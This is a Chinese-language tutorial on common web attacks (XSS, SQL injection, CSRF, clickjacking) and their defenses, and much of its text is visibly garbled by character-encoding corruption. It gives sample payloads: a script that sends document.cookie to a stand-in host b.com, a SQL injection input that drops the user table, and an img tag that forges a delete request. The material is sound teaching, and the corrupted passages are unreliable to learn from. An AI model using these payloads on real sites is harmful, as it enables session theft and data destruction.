对于一个Web应用来说Q可能会面很多不同的攻凅R下面的内容介l一些常见的dҎQ以及面对这些攻ȝ防M手段?/p>
一、跨站脚本攻击（XSSQ?/h2>
跨站脚本d的英文全U是Cross Site ScriptQؓ了和样式表区分，~写为XSS。发生的原因是网站将用户输入的内容输出到面上，在这个过E中可能有恶意代码被览器执行?/p>
跨站脚本d可以分ؓ两种Q?/p>
1). 反射型XSS
它是通过׃用户打开一个恶意链接，服务端将链接中参数的恶意代码渲染到页面中Q再传递给用户由浏览器执行Q从而达到攻ȝ目的。如下面的链接：
http://a.com/a.jsp?name=xss<script>alert(1)</script> a.jsp页面渲染成下面的htmlQ?/p>
Hello xss<script>alert(1)</script> q时览器将会弹出提C框?/p>
2). 持久型XSS
持久型XSS恶意代码提交给服务器，q且存储在服务器端，当用戯问相兛_Ҏ再渲染到面中，以达到攻ȝ目的Q它的危x大?/p>
比如Q攻击者写了一带恶意JS代码的博客，文章发表后，所有访问该博客文章的用户都会执行这D|意JS?/p>
Cookie劫持
Cookie中一般保存了当前用户的登录凭证，如果可以得到Q往往意味着可直接进入用户帐P而Cookie劫持也是最常见的XSSd。以上面提过的反型XSS的例子来_可以像下面这h作：
首先׃用户打开下面的链接：
http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script> 用户打开链接后，会加载b.jsQƈ执行b.js中的代码。b.js中存储了以下JS代码Q?/p>
var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img); 上面的代码会向b.comh一张图片，但实际上是将当前面的cookie发到了b.com的服务器上。这样就完成了窃取cookie的过E?/p>
防MCookie劫持的一个简单的Ҏ是在Set-Cookie时加上HttpOnly标识Q浏览器止JavaScript讉K带HttpOnly属性的Cookie?/strong>
XSS的防?/h3>
1). 输入?/strong>
对输入数据做查，比如用户名只允许是字母和数字Q邮必L指定格式。一定要在后台做查，否则数据可能l过前端查直接发l服务器。一般前后端都做查，q样前端可以挡掉大部分无效数据?/p>
对特D字W做~码或过滤，但因Z知道输出时的语境Q所以可能会做不适当的过滤，最好是在输出时具体情况具体处理?/p>
2). 输出?/strong>
Ҏ染到HTML中内Ҏ行HtmlEncodeQ对渲染到JavaScript中的内容执行JavascriptEncode?/p>
另外q可以用一些做XSS查的开源项目?/p>
二、SQL注入
SQL注入常常会听刎ͼ它与XSScMQ是׃用户提交的数据被当成命o来执行而造成的。下面是一个SQL注入的例子：
String sql = "select * from user where username = '" + username + "'"; 像上面的SQL语句Q如果用h交的username参数是leoQ则数据库执行的SQL为：
select * from user where username = 'leo' 但如果用h交的username参数是leo’; drop table user–Q那执行的SQL为：
select * from user where username = 'leo'; drop table user--' 在查询数据后Q又执行了一个删除表的操作，q样的后果非怸重?/p>
SQL注入的防?/h3>
防止SQL注入最好的Ҏ是用预~译语句Q如下面所C：
String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery(); 不同语言的预~译Ҏ不同Q但基本都可以处理?/p>
如果遇到无法使用预编译方法时Q只能像防止XSS那样对参数进行检查和~码?/p>
三、跨站请求伪造（CSRFQ?/h2>
跨站h伪造的英文全称是Cross Site Request ForgeryQ是׃操作所需的所有参数都能被d者得刎ͼq而构造出一个伪造的hQ在用户不知情的情况下被执行。看下面一个例子：
如果a.com|站需要用L录后可以删除博客Q删除博客的h地址如下Q?/p>
GET http://a.com/blog/delete?id=1 当用L录a.com后，又打开了http://b.com/b.htmlQ其中有下面的内容：
<img src="http://a.com/blog/delete?id=1"/> q时会以用户在a.com的n份发送http://a.com/blog/delete?id=1Q删除那博客?/p>
CSRF的防?/h3>- 验证?/li>
CSRF是在用户不知情的情况下构造的|络情况Q验证码则强制用户与应用交互Q所以验证码可以很好得防止CSRF。但不能什么请求都加验证码?/p>
- referer?/li>
查请求header中的referer也能帮助防止CSRFdQ但服务器不是总能拿到refererQ浏览器可能Z安全或隐U而不发送refererQ所以也不常用。倒是囄防盗链中用得很多?/p>
- Anti CSRF Token
更多的是生成一个随机的tokenQ在用户提交数据的同时提交这个tokenQ服务器端比对后如果不正，则拒l执行操作?/p>
四、点d持（ClickJackingQ?/h2>
点击劫持是从视觉上欺骗用戗攻击者用一个透明的iframe覆盖在一个网上Q诱使用户在该网上操作Q而实际点d是点在透明的iframe面?/p>
点击劫持延Z很多d方式Q有囄覆盖d、拖拽劫持等?/p>
点击劫持的防?/h3>
针对iframe的攻击，可用一个HTTP_X-Frame-OptionsQ它有三U可选|
- DENYQ?止M面的frame加蝲Q?/li>
- SAMEORIGINQ只有同源页面的frame可加载；
- ALLOW-FROMQ可定义允许frame加蝲的页面地址?/li>
针对囄覆盖dQ则注意使用预防XSS的方法，防止HTML和JS注入?/p>
